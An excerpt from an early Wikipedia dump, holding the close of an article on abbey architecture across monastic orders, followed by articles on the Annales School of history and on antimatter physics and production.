[[St Mary's Abbey, York]], of which the ground-plan is annexed, exhibits the usual Benedictine arrangements. The precincts are surrounded by a strong fortified wall on three sides, the river [[Ouse]] being sufficient protection on the fourth side. The entrance was by a strong gateway (U) to the north. Close to the entrance was a chapel, where is now the church of St Olaf (W), in which the new-comers paid their devotions immediately on their arrival. Near the gate to the south was the guest-hall or hospitium (T). The buildings are completely ruined, but enough remains to enable us to identify the grand cruciform church (A), the cloister-court with the chapterhouse (B), the refectory (I), the kitchen-court with its offices (K, O, O) and the other principal apartments. The infirmary has perished completely. 

FIG. 4

St Mary's Abbey, York (Benedictine).--Churton's Monnastic Ruins.
A. Church.                        O. Offices.
B. Chapter-house.                 P. Cellars.
C. Vestibule to ditto.            Q. Uncertain.
E. Library or scriptorium.        R. Passage to abbot's house.
F. Calefactory.                   S. Passage to common house.
G. Necessary.                     T. Hospitium.
H. Parlour.                       U. Great gate.
I. Refectory.                     V. Porter's lodge.

K. Great kitchen and court.       W. Church of St Olaf.
L. Cellarer's office.             X. Tower.
M. Cellars.                       Y. Entrance from Bootham.
N. Passage to cloister.

The history of monasticism is one of alternate periods of decay and revival. With growth in popular esteem came increase in material wealth, leading to luxury and worldliness. The first religious ardour cooled, the strictness of the rule was relaxed, until by the [[10th century]] the decay of discipline was so complete in France that the monks are said to have been frequently unacquainted with the rule of St Benedict, and even ignorant that they were bound by any rule at all. The reformation of abuses generally took the form of the establishment of new monastic orders, with new and more stringent rules, requiring a modification of the architectural arrangements. One of the earliest of these reformed orders was the Cluniac. This order took its name from,the little village of Cluny, 12 miles N.W. of Macon, near which, about A.D. [[909]], a reformed Benedictine abbey was founded by William, duke of Aquitaine and count of Auvergne, under Berno, abbot of Beaume. He was succeeded by Odo, who is often regarded as the founder of the order. The fame of Cluny spread far and wide. Its rigid rule was adopted by a vast number of the old Benedictine abbeys, who placed themselves in affiliation to the mother society, while new foundations sprang up in large numbers, all owing allegiance to the &quot;archabbot,&quot; established at Cluny.
By the end of the 12th century the number of monasteries affiliated to Cluny in the various countries of western Europe amounted to 2000. The monastic establishment of Cluny was one of the most extensive and magnificent in France. We may form some idea of its enormous dimensions from the fact recorded, that when, in A.D. [[1245]], [[Pope Innocent IV]], accompanied by twelve cardinals, a patriarch, three archbishops, the two generals of the Carthusians and Cistercians, the king (St Louis), and three of his sons, the queen mother, Baldwin, count of Flanders and emperor of Constantinople, the duke of Burgundy, and six lords, visited the abbey, the whole party, with their attendants, were lodged within the monastery without disarranging the monks, 400 in number. Nearly the whole of the abbey buildings, including the magnificent church, were swept away at the close of the 18th century. When the annexed ground-plan was taken, shortly before its destruction, nearly all the monastery, with the exception of the church, had been rebuilt. 

The church, the ground-plan of which bears a remarkable resemblance to that of Lincoln Cathedral, was of vast dimensions. It was 656 ft. high. The nave (G) had double vaulted aisles on either side. Like Lincoln, it had an eastern as well as a western transept, each furnished with apsidal chapels to the east. The western transept was 213 ft. long, and the eastern 123 ft. The choir terminated in a semicircular apse (F), surrounded by five chapels, also semicircular. The western entrance was approached by an ante-church, or narthex (B), itself an aisled church of no mean dimensions, flanked by two towers, rising from a stately flight of steps bearing a large stone cross. To the south of the church lay the cloister-court (H), of immense size, placed much farther to the west than is usually the case. On the south side of the cloister stood the refectory (P), an immense building, 100 ft (30 m) long and 60 ft (18 m) wide, accommodating six longitudinal and three transverse rows of tables. It was adorned with the portraits of the chief benefactors of the abbey, and with Scriptural subjects. The end wall displayed the Last Judgment. We are unhappily unable to identify any other of the principal buildings (N). The abbot's residence (K), still partly standing, adjoined the entrance-gate. The guest-house (L) was close by. The bakehouse (M), also remaining, is a detached building of immense size.

==English Cluniac==
The first English house of the Cluniac order was that of [[Lewes]], founded by the earl of Warren, c. A.D. 1077. Of this only a few fragments of the domestic buildings exist. The best preserved Cluniac houses in England are Castle Acre, Norfolk, and Wenlock, Shropshire. Ground-plans of both are given in Britton's Architectural Antiquities. They show several departures from the Benedictine arrangement. In each the prior's house is remarkably perfect. All Cluniac houses in England were French colonies, governed by priors of that nation. They did not secure their independence nor become &quot;abbeys&quot; till the reign of Henry VI. The Cluniac revival, with all its brilliancy, was but short-lived. The celebrity of this, as of other orders, worked its moral ruin. With their growth in wealth and dignity the Cluniac foundations became as worldly in life and as relaxed in discipline as their predecessors, and a fresh reform was needed. 

==Cistercian==
[[Image:Abbey-of-senanque-provence-gordes.jpg|thumb||200px|right|Cistercian Abbey of Senanque]]

The next great monastic revival, the [[Cistercian]], arising in the last years of the 11th century, had a wider diffusion, and a longer and more honourable existence. Owing its real origin, as a distinct foundation of reformed [[Benedictines]], in the year [[1098]], to [[Stephen Harding]] (a native of [[Dorset]], educated in the monastery of Sherborne), and deriving its name from Citeaux (Cistercium), a desolate and almost inaccessible forest solitude, on the borders of [[Champagne, France|Champagne]] and [[Burgundy]], the rapid growth and wide celebrity of the order are undoubtedly to be attributed to the enthusiastic piety of St Bernard, abbot of the first of the monastic colonies, subsequently sent forth in such quick succession by the first Cistercian houses, the far-famed abbey of [[Clairvaux]] (de Clara Valle), A.D. [[1116]]. The rigid self-abnegation, which was the ruling principle of this reformed congregation of the Benedictine order, extended itself to the churches and other buildings erected by them. The characteristic of the Cistercian abbeys was the extremest simplicity and a studied plainness. Only one tower--a central one --was permitted, and that was to be very low. Unnecessary pinnacles and turrets were prohibited. The [[triforium]] was omitted. The windows were to be plain and undivided, and it was forbidden to decorate them with stained glass. All needless ornament was proscribed. The crosses must be of wood; the candlesticks of iron. The renunciation of the world was to be evidenced in all that met the eye. The same spirit manifested itself in the choice of the sites of their monasteries. The more dismal, the more savage, the more hopeless a spot appeared, the more did it please their rigid mood. But they came not merely as ascetics, but as improvers. The Cistercian monasteries are, as a rule, found placed in deep well-watered valleys. They always stand on the border of a stream; not rarely, as at Fountains, the buildings extend over it. These valleys, now so rich and productive, wore a very different aspect when the brethren first chose them as the place of their retirement. Wide swamps, deep morasses, tangled thickets, wild impassable forests, were their prevailing features. The &quot;bright valley,&quot; Clara Vallis of St Bernard, was known as the &quot;valley of Wormwood,&quot; infamous as a den of robbers. &quot;It was a savage dreary solitude, so utterly barren that at first Bernard and his companions were reduced to live on beech leaves.&quot;-(Milman's Lat. Christ. vol. iii. p. 335.)

===Abbey Church of St.-Denis===
''See'' [[Abbey Church of Saint Denis|Abbey Church of St.-Denis]].

===Clairvaux Abbey===
''See'' [[Clairvaux Abbey]].

===Citeaux Abbey===
''See'' [[Citeaux Abbey]].

===Kirkstall Abbey===
''See'' [[Kirkstall Abbey]].

===Fountains Abbey===
''See'' [[Fountains Abbey]].

==Austin Canons==
The buildings of the Austin [[canon (priest)|canons]] or Black canons (so called from the colour of their habit) present few distinctive peculiarities. This order had its first seat in [[England]] at [[Colchester, England|Colchester]], where a house for Austin canons was founded about A.D. [[1105]], and it very soon spread widely. As an order of regular clergy, holding a middle position between monks and secular canons, almost resembling a community of parish priests living under rule, they adopted naves of great length to accommodate large congregations. The choir is usually long, and is sometimes, as at Llanthony and Christchurch (Twynham), shut off from the aisles, or, as at Bolton, Kirkham, etc., is destitute of aisles altogether. The nave in the northern houses, not unfrequently, had only a north aisle, as at Bolton, Brinkburn and [[Lanercost Priory|Lanercost]]. The arrangement of the monastic buildings followed the ordinary type. The prior's lodge was almost invariably attached to the S.W. angle of the nave. 
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; width=&quot;100%&quot;
|+
===Bristol Cathedral===
|-
| align=&quot;center&quot; |
[[image:bristol_abbey.png]]

| align=&quot;left&quot; |
&lt;pre&gt;
FIG. 11.--St Augustine's Abbey, Bristol (Bristol
A. Church.            
B. Great cloister.
C. Little cloister.
D. Chapter-house.
E. Calefactory.
F. Refectory.
G. Parlour.
H. Kitchen.         
I. Kitchen court.   
K. Cellars.         
L. Abbot's hall.    
P. Abbot's gateway. 
R. Infirmary.       
S. Friars' lodging.
T. King's hall.
V. Guest-house.
W. Abbey gateway.
X. Barns, stables, etc
Y. Lavatory.
&lt;/pre&gt;
|}

The above plan of the [[Abbey of St Augustine]]'s at [[Bristol]], now the [[Bristol Cathedral|cathedral church of that city]], shows the arrangement of the buildings, which departs very little from the ordinary Benedictine type. The Austin canons' house at Thornton, in Lincolnshire, is remarkable for the size and magnificence of its gate-house, the upper floors of which formed the guest-house of the establishment, and for possessing an octagonal chapter-house of Decorated date.

==Premonstratensians==
The Premonstratensian regular canons, or White canons, had as many as 35 houses in England, of which the most perfect remaining are those of [[Easby, Yorkshire]], and [[Bayham, Kent]]. The head house of the order in England was Welbeck. This order was a reformed branch of the Austin canons, founded, A.D. [[1119]], by Norbert (born at [[Xanten]], on the [[Lower Rhine]], c. [[1080]]) at Premontre, a secluded marshy valley in the forest of [[Coucy]] in the diocese of [[Laon]]. The order spread widely. Even in the founder's lifetime it possessed houses in [[Syria]] and [[Palestine (region)|Palestine]]. It long maintained its rigid austerity, until in the course of years wealth impaired its discipline, and its members sank into indolence and luxury. The Premonstratensians were brought to England shortly after A.D. [[1140]], and were first settled at Newhouse, in Lincolnshire, near the [[Humber]]. The ground-plan of Easby Abbey, owing to its situation on the edge of the steeply sloping banks of a river, is singularly irregular. The cloister is duly placed on the south side of the church, and the chief buildings occupy their usual positions round it. But the cloister garth, as at Chichester, is not rectangular, and all the surrounding buildings are thus made to sprawl in a very awkward fashion. The church follows the plan adopted by the Austin canons in their northern abbeys, and has only one aisle to the nave--that to the north; while the choir is long, narrow and aisleless. Each transept has an aisle to the east, forming three chapels. 

The church at Bayham was destitute of aisles either to nave or choir. The latter terminated in a three-sided apse. This church is remarkable for its exceeding narrowness in proportion to its length. Extending in longitudinal dimensions 257 ft., it is not more than 25 ft. broad. Stern Premonstratensian canons wanted no congregations, and cared for no possessions; therefore they built their church like a long room.

The Premonstratension order still exists and a small group of these Chanones de Premontre now run the former Benedictine Abbey at Conques in South West France, which has become well known as a refuge for pilgrims travelling the Way of Saint James, from Le Puy en Velay in Auvergne, to Santiago de Compostella in Galicia, Spain.

==Carthusian==
The [[Carthusian]] order, on its establishment by [[Bruno of Cologne|St Bruno]], about A.D. [[1084]], developed a greatly modified form and arrangement of a monastic institution. The principle of this order, which combined the coenobitic with the solitary life, demanded the erection of buildings on a novel plan. This plan, which was first adopted by St Bruno and his twelve companions at the original institution at [[Chartreux]], near [[Grenoble]], was maintained in all the Carthusian establishments throughout [[Europe]], even after the ascetic severity of the order had been to some extent relaxed, and the primitive simplicity of their buildings had been exchanged for the magnificence of decoration which characterizes such foundations as the [[Certosa]]s of [[Pavia]] and [[Florence]]. According to the rule of St Bruno, all the members of a Carthusian brotherhood lived in the most absolute solitude and silence. Each occupied a small detached cottage, standing by itself in a small garden surrounded by high walls and connected by a common corridor or cloister. In these cottages or cells a Carthusian monk passed his time in the strictest asceticism, only leaving his solitary dwelling to attend the services of the Church, except on certain days when the brotherhood assembled in the refectory. The peculiarity of the arrangements of a Carthusian monastery, or charter-house, as it was called in England, from a corruption of the French chartreux, is exhibited in the plan of that of [[Clermont]], from [[Viollet-le-Duc]].

==Clermont==
The whole establishment is surrounded hy a wall, furnished at intervals with watch towers. The enclosure is divided into two courts, of which the eastern court, surrounded by a cloister, from which the cottages of the monks open, is musch the larger. The two courts are divided by the main buildings of the monastery, including the church, the sanctuary, divided from the monks' choir, by a screen with two altars, the smaller cloister to the south surrounded by the chapter-house, the refectory and the chapel of Pontgibaud. The kitchen with its offices lies behind the refectory, accessible from the outer court without entering the cloister. 

To the north of the church, beyond the [[sacristy]], and the side chapels, there is the cell of the sub-prior, with its garden. The lodgings of the prior occupy the centre of the outer court, immediately in front of the west door of the church, and face the gateway of the convent. A small raised court with a fountain is before it. This outer court also contains the guest-chambers, the stables and lodgings of the [[lay brothers]], the barns and granaries, the [[dovecot]] and the bakehouse. There is also a prison. In this outer court, in all the earlier foundations, as at Witham, there was a smaller church in addition to the larger church of the monks.) 

The outer and inner courts are connected by a long passage, wide enough to admit a cart laden with wood to supply the cells of the brethren with fuel. The number of cells surrounding the great cloister is 18. They are all arranged on a uniform plan. Each little dwelling contains three rooms: a sitting-room warmed by a stove in winter; a sleeping-room  furnished with a bed, a table, a bench, and a bookcase; and a closet. Between the cell and the cloister gallery is a passage or corridor, cutting off the inmate of the cell from all sound or movement which might interrupt his meditations. The superior had free access to this corridor, and through open niches was able to inspect the garden without being seen. There is a hatch or turn-table, in which the daily allowance of food was deposited by a brother appointed for that purpose, affording no view either inwards or outwards. 

The above arrangements are found with scarcely any variation in all the charter-houses of western Europe. The [[Yorkshire]] [[Charterhouse]] of [[Mount Grace]], founded by [[Thomas Holland]], the young duke of Surrey, nephew of Richard II. and marshal of England, during the revival of the popularity of the order, about A.D. [[1397]], is the most perfect and best preserved English example. It is characterized by all the simplicity of the order. The church is a modest building, long, narrow and aisleless. Within the wall of enclosure are two courts. The smaller of the two, the south, presents the usual arrangement of church, refectory, etc., opening out of a cloister. The buildings are plain and solid. The northern court contains the cells, 14 in number. 

It is surrotmded by a double stone wall, the two walls being about 30 ft. or 40 ft. apart. Between these, each in its own garden, stand the cells; low-built two-storied cottages, of two or three rooms on the ground-floor, lighted by a larger and a smaller window to the side, and provided with a doorway to the court, and one at the back, opposite to one in the outer wall, through which the monk may have conveyed the sweepings of his cell and the refuse of his garden to the &quot;eremus&quot; beyond. By the side of the door to the court is a little hatch through which the daily pittance of food was supplied, so contrived by turning at an angle in the wall that no one could either look in or look out. A very perfect example of this hatch---an arrangement belonging to all Carthusian houses--exists at [[Miraflores]], near [[Burgos]], which remains nearly as it was completed in 1480. 

There were only nine Carthusian houses in England. The earliest was that at [[Witham]] in [[Somerset]], founded by [[Henry II of England|Henry II]], by whom the order was first brought into England. The wealthiest and most magnificent was that of Sheen or Richmond in [[Surrey]], founded by [[Henry V of England|Henry V]] about [[1414]]. The dimensions of the buildings at Sheen are stated to have been remarkably large. The great court measured 300 by 250 ft (91 by 76 m); the cloisters were a square of 500 ft (152 m); the hall was 110 ft (34 m) in length by 60 ft (18 m) in breadth.

==Mendicant Friars==
An article on monastic arrangements would be incomplete without some account of the convents of the Mendicant or Preaching Friars, including the Black Friars or [[Dominican Order|Dominican]]s, the Grey or [[Franciscan]]s, the White or [[Carmelites]], the Eremite or [[Augustinians|Augustinian]], Friars. These orders arose at the beginning of the 13th century, with the growth of towns and cities.  Whereas Benedictines and their various branches had worked to achieve self-sufficient agricultural estates, the Mendicant Friars operated differently.  Planting themselves, as a rule, in large towns, and by preference in the poorest and most densely populated districts, the Preaching Friars were obliged to adapt their buildings to the requirements of the site. Regularity of arrangement, therefore, was not possible, even if they had studied it. Their churches, built for the reception of large congregations of hearers rather than worshippers, form a class by themselves, totally unlike those of the elder orders in ground-plan and character. They were usually long parallelograms unbroken by transepts. The nave very usually consisted of two equal bodies, one containing the stalls of the brotherhood, the other left entirely free for the congregation. The constructional choir is often wanting, the whole church forming one uninterrupted structure, with a continuous range of windows. The east end was usually square, but the Friars Church at [[Winchelsea]] had a polygonal apse. We not unfrequently find a single transept, sometimes of great size, rivalling or exceeding the nave. This arrangement is frequent in [[Ireland]], where the numerous small friaries afford admirable exemplifications of these peculiarities of ground-plan. The friars' churches were at first destitute of towers; but in the 14th and 15th centuries, tall, slender towers were commonly inserted between the nave and the choir.  The Grey Friars at Lynn, where the tower is hexagonal, is a good example. The arrangement of the monastic buildings is equally peculiar and characteristic. We miss entirely the regularity of the buildings of the earlier orders. At the Jacobins at Paris, a cloister lay to the north of the long narrow church of two parallel aisles, while the refectory--a room of immense length, quite detached from the cloister--stretched across the area before the west front of the church. At Toulouse the nave also has two parallel aisles, but the choir is apsidal, with radiating chapel. The refectory stretches northwards at right angles to the cloister, which lies to the north of the church, having the chapter-house and sacristy on the east.

==Norwich, Gloucester ==
As examples of English friaries, the Dominican house at [[Norwich]], and those of the Dominicans and Franciscans at Gloucester, may be mentioned. The church of the Black Friars of Norwich departs from the original type in the nave (now St Andrew's Hall), in having regular aisles. In this it resembles the earlier examples of the Grey Friars at Reading. The choir is long and aisleless; an hexagonal tower between the two, like that existing at Lynn, has perished. Thc cloister and monastic buildings remain tolerably perfect to the north. The Dominican convent at Gloucester still exhibits the cloister-court, on the north side of which is the desecrated church. The refectory is on the west side and on the south the dormitory of the 13th century. This is a remarkably good example. There were 18 cells or cubicles on each side, divided by partitions, the bases of which remain. On the east side was the prior's house, a building of later date. At the Grey or Franciscan Friars, the church followed the ordinary type in having two equal bodies, each gabled, with a continuous range of windows. There was a slender tower between the nave and the choir. 

==Hulne==
Of the convents of the Carmelite or White Friars we have a good example in the Abbey of Hulne, near Alnwick, the first of the order in England, founded A.D. [[1240]].

The church is a narrow oblong, destitute of aisles, 123 ft. long by only 26 ft. wide. The cloisters are to the south, with the chapter-house, etc., to the east, with the dormitory over. The prior's lodge is placed to the west of the cloister. The guest-houses adjoin the entrance gateway, to which a chapel was annexed on the south side of the conventual area. The nave of the church of the Austin Friars or Eremites in London is still standing. It is of Decorated date, and has wide centre and side aisles, divided by a very light and graceful arcade. Some fragments of the south walk of the cloister of the Grey Friars remained among the buildings of [[Christ's Hospital]] (the Blue-Coat School), while they were still standing. Of the Black Friars all has perished but the name. Taken as a whole, the remains of the establishments of the friars afford little warrant for the bitter invective of the Benedictine of St Alban's, Matthew Paris: &quot;The friars who have been founded hardly 40 years have built residences as the palaces of kings. These are they who, enlarging day by day their sumptuous edifices, encircling them with lofty walls, lay up in them their incalculable treasures, imprudently transgressing the bounds of poverty and violating the very fundamental rules of their profession.&quot; Allowance must here be made for jealousy of a rival order just rising in popularity.

==Cells==
Every large monastery had depending upon it smaller foundations known as cells or priories. Sometimes these foundations were no more than a single building serving as residence and farm offices, while other examples were miniature monasteries for 5 or 10 monks. The outlying farming establishments belonging to the monastic foundations were known as villae or granges. They were usually staffed by [[lay-brothers]], sometimes under the supervision of a single monk.

==Abbots and abbesses as rulers==
Some cities were ruled by heads of a certain abbey. For more information, see [[abbey-principality]].

==Nunnery==
A '''nunnery''' is a convent of nuns. The first nunnery in England was built at [[Folkestone]] in about 635 by [[Eadbald of Kent|King Eadbald]].

==See also==
* [[List of abbeys and priories]]

==External links==
{{Commons|Abbey}}
*[http://www.newadvent.org/cathen/01010a.htm Abbey] Catholic Encyclopedia
*[http://encyclopedia.jrank.org/A10_ADA/ABBEY_Lat_abbatia_from_Syr_abb.html Abbey] ''Encyclopaedia Britannica'' (1911) 
*[http://www.sacred-destinations.com/sacred-sites/christian-monasteries.htm Abbeys and Monasteries Index] Sacred Destinations
*[http://www.sacred-destinations.com/france/abbeys-of-france.htm Abbeys of France] Sacred Destinations

[[Category:Abbeys|*]]
[[Category:Art history]]

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  </page>
  <page>
    <title>Annales School</title>
    <id>1316</id>
    <revision>
      <id>40578874</id>
      <timestamp>2006-02-21T16:05:19Z</timestamp>
      <contributor>
        <ip>213.190.157.130</ip>
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      <text xml:space="preserve">The '''Annales School''' is a school of historical writing named after the French scholarly journal ''[[Annales d'histoire économique et sociale]]'' (later called ''[[Annales. Economies, sociétés, civilisations]]'', then renamed in [[1994]] as ''[[Annales. Histoire, Sciences Sociales]]'') where it was first expounded. Annales school history is best known for incorporating [[social science|social scientific]] methods into history.

The Annales was founded and edited by [[Marc Bloch]] and [[Lucien Febvre]] in [[1929]], while they were teaching at the [[University of Strasbourg]]. These authors quickly became associated with the distinctive Annales approach, which combined geography, history, and the sociological approaches of the [[Annee Sociologique]] (many members of which were their colleagues at Strasbourg) to produce an approach which rejected the predominant emphasis on politics, diplomacy and war of many 19th century historians. Instead, they pioneered an approach to a study of long-term historical structures (''[[la longue durée]]'') over events.  Geography, material culture, and what later Annalistes called ''mentalities'' or the psychology of the epoch are also characteristic areas of study.
An eminent member of this school, [[Georges Duby]], wrote in the forward of his book &quot;Le dimanche de Bouvines&quot; that the history he is teaching &quot;rejected on the sidelines the sensational, was reluctant to the simple acounting of events, strived on the contrary to pose and solve problems and, neglecting the surface trepidations, wanted to observe on the long and medium term the evolution of economy, society and civilisation.&quot;      

Bloch was shot by the [[Gestapo]] during the German occupation of France in [[World War II]], and Febvre carried on the Annales approach in the 1940s and 1950s. It was during this time that he trained [[Fernand Braudel]], who would become one of the best known exponents of this school. Braudel's work came to define a 'second' era of Annales historiography and was very influential throughout the 1960s and 1970s, especially for his work on the Mediterranean region in the era of Philip II of Spain.

While authors such as [[Emmanuel Le Roy Ladurie]] and [[Jacques Le Goff]] continue to carry the Annales banner, today the Annales approach has been less distinctive as more and more historians do work in [[cultural history]] and [[economic history]]. 

''See also:'' [[Historiography]]

==References==

* [http://www.strath.ac.uk/Departments/History/s_adams/annales.htm Fernand Braudel and the Annales School by David Moon]

==Further reading==
*Peter Burke. ''The French Historical Revolution: The Annales School, 1929-1989''. Stanford University Press. 1991.
*François Dosse. ''The New History in France: The Triumph of the Annales''.  University of Illinois Press. 1994.
*Lynn Hunt and Jacques Revel (eds). ''Histories: French Constructions of the Past''. The New Press. 1994. (A collection of essays with many pieces from the Annales--the long introduction is excellent, and contains many good references).

[[Category:Historiography]]
[[Category:Historiosophy]]

[[cs:Škola Annales]]
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[[pl:Szkoła Annales]]
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[[zh:年鑑學派]]</text>
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  <page>
    <title>Antimatter</title>
    <id>1317</id>
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      <minor />
      <comment>/* Artificial production */  minor changes</comment>
      <text xml:space="preserve">:''For the [[physics]] of antimatter, see the article on [[antiparticle]]s; for the [[Cubanate]] album, see [[Antimatter (album)]].''
{{Antimatter}}
'''Antimatter''' or '''contra-terrene matter''' is [[matter]] that is composed of the [[antiparticle]]s of those that constitute normal matter. If a particle and its antiparticle come in contact with each other, the two [[Annihilation|annihilate]] and produce a burst of [[energy]], which results in the production of other particles and antiparticles or [[electromagnetic radiation]]. In these reactions, [[rest mass]] is not conserved, although (as in any other reaction) energy ([[E=mc²]]) is conserved.

== History ==
In 1928 [[Paul Dirac]] developed a [[theory of relativity|relativistic]] equation for the [[electron]], now known as the [[Dirac equation]]. Curiously, the equation was found to have negative energy solutions in addition to the normal positive ones. This presented a problem, as electrons tend toward the lowest possible energy level; energies of negative infinity are nonsensical. As a way of getting around this, Dirac proposed that the vacuum can be considered a &quot;sea&quot; of negative energy, the [[Dirac sea]]. Any electrons would therefore have to sit on top of the sea.

Thinking further, Dirac found that a &quot;hole&quot; in the sea would have a positive charge. At first he thought that this was the [[proton]], but [[Hermann Weyl]] pointed out the hole should have the same mass as the electron. The existence of this particle, the [[positron]], was confirmed experimentally in 1932 by [[Carl D. Anderson]]. 

Today's [[standard model]] shows that every particle has an antiparticle, for which each additive [[quantum number]] has the negative of the value it has for the normal matter particle. The sign reversal applies only to quantum numbers (properties) which are additive, such as [[charge]], but not to [[mass]], for example. The [[positron]] has the opposite charge but the same mass as the electron. An [[atom]] of [[antihydrogen]] is composed of a negatively-charged [[antiproton]] being [[atomic orbital|orbited]] by a positively-charged [[positron]] .

== Antimatter production ==
===Artificial production===
The artificial production of antimatter (specifically [[antihydrogen]]) first became a reality in the early 1990s. [[Charles Munger]] of the [[SLAC]], and associates at [[Fermilab]], realised that an [[antiproton]], travelling at [[relativistic speeds]] and passing close to the [[nucleus]] of an [[atom]], would have the potential to force the creation of an [[electron]]-[[positron]] pair. It was postulated that under this scenario the antiproton would have a small chance of pairing with the positron (ejecting the electron) to form an antihydrogen atom.

In [[1995]] [[CERN]] announced that it had successfully created 9 antihydrogen atoms by implementing the SLAC/Fermilab concept during the [[PS210 experiment]]. The experiment was preformed using the Low-Energy Antiproton Ring ([[LEAR]]), and was lead by [[Walter Oelert]] and [[Mario Macri]]. Fermilab soon confirmed the CERN findings by producing approximately 100 antihydrogen atoms at their facilities.

The antihydrogen atoms created during PS210, and subsequent experiments (at both CERN and Fermilab) were extremely energetic (&quot;hot&quot;) and were not well suited to study. To resolve this hurdle, and to gain a better understanding of antihydrogen, two collaborations were formed in the late 1990s - [[ATHENA]] and [[ATRAP]]. The primary goal of these collaborations is the creation of less energetic (&quot;cold&quot;) antihydrogen, better suited to study.

In [[1999]] CERN activated the [[Antiproton Decelerator]], a device capable of decelerating antiprotons from 3.5 GeV/c to 5.3 MeV – still too &quot;hot&quot; to produce study effective antihydrogen, but a huge leap forward.

In late [[2002]] the ATHENA project announced that they had created the worlds first &quot;cold&quot; antihydrogen. The antiprotons used in the experiment were 'cooled' sufficiently by decelerating them (using the Antiproton Decelerator), passing them through a thin sheet of foil, and finally capturing them in a [[Penning Trap]]. The antiprotons also underwent [[stochastic cooling]] at several stages during the process.

The ATHENA team's antiproton cooling process is effective, but highly inefficient. Approximately 25 million antiprotons leave the Antiproton Decelerator; roughly 10 thousand make it to the Penning Trap.

In early 2004 ATHENA researchers released data on a new method of creating low energy antihydrogen. 

The technique involves slowing antiprotons using the Antiproton Decelerator, and injecting them into a Penning trap (specifically a Penning-Malmberg trap). Once trapped the antiprotons are mixed with electrons that have been cooled to an energy potential significantly less than the antiprotons; the resulting Coulomb collisions cool the antiprotons while warming the electrons until the particles reach an equilibrium of approximately 4 K. 

While the antiprotons are being cooled in the first trap, a small cloud of positron plasma is injected into a second trap (the mixing trap). Exciting the resonance of the mixing trap’s confinement fields can control the temperature of the positron plasma; but the procedure is more effective when the plasma is in thermal equilibrium with the trap’s environment. The positron plasma cloud is generated in a positron accumulator prior to injection; the source of the positrons is usually radioactive sodium.

Once the antiprotons are sufficiently cooled, the antiproton-electron mixture is transferred into the mixing trap (containing the positrons). The electrons are subsequently removed by a series of fast pulses in the mixing traps electrical field. When the antiprotons reach the positron plasma further Coulomb collisions occur, resulting in further cooling of the antiprotons. When the positrons and antiprotons approach thermal equilibrium antihydrogen atoms begin to form. Being electrically neutral the antihydrogen atoms are not effected by the trap and can leave the confinement fields.

Using this method ATHENA researchers predict they will be able to create to 100 antihydrogen atoms per operational second.

ATHENA and ATRAP are now seeking to further 'cool' the antihydrogen atoms by subjecting them to an [[inhomogeneous field]]. While antihydrogen atoms are electrically neutral, their spin produces [[magnetic moments]]. These magnetic moments vary depending on the [[spin direction]] (up or down) of the atom, and can be deflected by inhomogeneous fields regardless of electrical charge.

The biggest limiting factor in the production of antimatter is the availability of antiprotons. Recent data released by CERN states that when fully operational their facilities are capable of producing &lt;math&gt;10^7&lt;/math&gt; antiprotons per second. Assuming an optimal conversion of antiprotons to antihydrogen (which is far from true) it would take two billion years (give or take a few thousand) to produce 1 gram of antihydrogen.

Another limiting factor to antimatter production is storage. As stated above there is no known way to effectively store antihydrogen. The ATHENA project has managed to keep antihydrogen atoms from annihilation for 10s of seconds - just enough time to briefly study their behaviour.

Antimatter/matter reactions have practical applications in medical imaging, such as [[positron emission tomography]] (PET). In some kinds of [[beta decay]], a nuclide loses surplus positive charge by emitting a positron (in the same event, a proton becomes a neutron, and [[neutrino]]s are also given off). Nuclides with surplus positive charge are easily made in a [[cyclotron]] and are widely generated for medical use.

===Naturally occurring production===
Antiparticles are created everywhere in the [[universe]] where high-energy particle collisions take place. High-energy [[cosmic ray]]s impacting Earth's atmosphere (or any other matter in the [[solar system]]) produce minute quantities of antimatter in the resulting [[particle jet]]s, which is immediately destroyed by contact with nearby matter. It may similarly be produced in regions like the center of the [[Milky Way Galaxy]], where very energetic celestial events occur. The presence of the resulting antimatter is detected by the gamma rays produced when it annihilates with nearby matter.

Antiparticles are also produced in any environment with a sufficiently high temperature (mean particle energy greater than the [[pair production]] threshold). The region of space near a [[black hole]]'s [[event horizon]] can be thought of as being such an environment, with the resulting matter and antimatter being a component of [[Hawking radiation]]. During the period of [[baryogenesis]], when the universe was extremely hot and dense, matter and antimatter were continually produced and annihilated. The presence of remaining matter, and absence of detection of remaining antimatter{{ref|BigBang}}, is attributed to [[CP-violation|violation]] of the [[CP-symmetry]] relating matter and antimatter. The exact mechanism of this violation during baryogenesis remains a mystery.

== Notation ==
Physicists need a notation to distinguish particles from antiparticles. One way is to denote an antiparticle by adding a bar (or [[macron]]) over the symbol for the particle. For example, the proton and antiproton are denoted as &lt;math&gt;\mathrm{p}\,&lt;/math&gt; and &lt;math&gt;\bar{\mathrm{p}}&lt;/math&gt;, respectively.

Another convention is to distinguish particles by their [[electric charge]]. Thus, the electron and positron are denoted simply as e&lt;sup&gt;&amp;minus;&lt;/sup&gt; and e&lt;sup&gt;+&lt;/sup&gt;. Adding a bar over the e&lt;sup&gt;+&lt;/sup&gt; symbol would be redundant and is not done.

== Antimatter as fuel ==
In antimatter-matter collisions, the entire rest [[mass]] of the particles is converted to [[energy]]. The [[Energies per unit mass|energy per unit mass]] is about 10 orders of magnitude greater than chemical energy, and about 2 orders of magnitude greater than nuclear energy that can be liberated today using chemical reactions or nuclear fission/fusion. The reaction of 1 [[kilogram|kg]] of antimatter with 1 kg of matter would produce 1.8&amp;times;10&lt;sup&gt;17&lt;/sup&gt; [[joule|J]] (180 petajoules) of energy (by the equation ''[[E=mc²]]''). In contrast, burning a kilogram of [[petrol|gasoline]] produces 4.2&amp;times;10&lt;sup&gt;7&lt;/sup&gt; J, and [[nuclear fusion]] of a kilogram of hydrogen would produce 2.6&amp;times;10&lt;sup&gt;15&lt;/sup&gt; J.
Not all of that energy can be utilized by any realistic technology, because as much as 50% of energy produced in reactions between nucleons and antinucleons is carried away by [[neutrinos]], so, for all intents and purposes, it can be considered lost.{{ref|Reactions}}

